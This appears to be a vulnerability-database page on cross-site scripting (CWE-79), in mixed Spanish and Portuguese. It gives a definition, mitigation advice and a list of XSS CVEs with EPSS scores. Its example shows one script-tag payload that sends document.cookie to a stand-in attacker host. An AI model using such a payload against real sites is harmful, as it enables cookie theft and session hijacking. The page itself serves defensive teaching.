Fallos del tipo CWE-79

28.446 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-26829MEDIUMOpenPLC ScadaBR through 0.9.1 on Linux and through 1.12.4 on Windows allows stored XSS via system_settings.shtm.EPSS 48.0%KEVCVE-2011-0096MEDIUMThe MHTML protocol handler in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 GoldEPSS 46.8%CVE-2023-37580MEDIUMZimbra Collaboration (ZCS) 8 before 8.8.15 Patch 41 allows XSS in the Zimbra Classic Web Client.EPSS 46.7%KEVCVE-2022-39197MEDIUMAn XSS (Cross Site Scripting) vulnerability was found in HelpSystems Cobalt Strike through 4.7 that allowed a remote attacker to execute HTMEPSS 46.4%KEVCVE-2025-0133LOWPAN-OS: Reflected Cross-Site Scripting (XSS) Vulnerability in GlobalProtect Gateway and PortalEPSS 46.4%CVE-2024-43573MEDIUMWindows MSHTML Platform Spoofing VulnerabilityEPSS 46.1%KEVCVE-2022-45938HIGHAn issue was discovered in Comcast Defined Technologies microeisbss through 2021. An attacker can inject a stored XSS payload in the Device EPSS 45.1%CVE-2025-6023HIGHAn open redirect vulnerability has been identified in Grafana OSS that can be exploited to achieve XSS attacks. The vulnerability was introdEPSS 45.0%CVE-2022-28818MEDIUMColdFusion Reflected Cross-Site Scripting could lead to Arbitrary Code ExecutionEPSS 44.8%CVE-2024-53457MEDIUMA stored cross-site scripting (XSS) vulnerability in the Device Settings section of LibreNMS v24.9.0 to v24.10.0 allows attackers to executeEPSS 44.6%CVE-2022-3062MEDIUMSimple File List < 4.4.12 - Reflected Cross-Site ScriptingEPSS 44.1%CVE-2023-0448MEDIUMThe WP Helper Lite WordPress plugin, in versions < 4.3, returns all GET parameters unsanitized in the response, resulting in a reflected croEPSS 42.9%CVE-2025-29513MEDIUMCross-Site Scripting (XSS) vulnerability in NodeBB v4.0.4 and before allows remote attackers to store arbitrary code in the admin API AccessEPSS 42.8%CVE-2022-43568HIGHReflected Cross-Site Scripting via the radio template in Splunk EnterpriseEPSS 42.8%CVE-2020-13954—Apache CXF Reflected XSS in the services listing page via the styleSheetPathEPSS 40.9%CVE-2021-41184MEDIUMXSS in the `of` option of the `.position()` utilEPSS 40.8%CVE-2021-32671CRITICALXSS vulnerability with translatorEPSS 39.7%CVE-2021-41182MEDIUMXSS in the `altField` option of the Datepicker widgetEPSS 39.4%CVE-2024-57041MEDIUMA persistent cross-site scripting (XSS) vulnerability in NodeBB v3.11.0 allows remote attackers to store arbitrary code in the 'about me' seEPSS 39.3%CVE-2023-30777HIGHWordPress Advanced Custom Fields / Advanced Custom Fields PRO plugins <= 6.1.5 vulnerable to Cross Site Scripting (XSS)EPSS 38.8%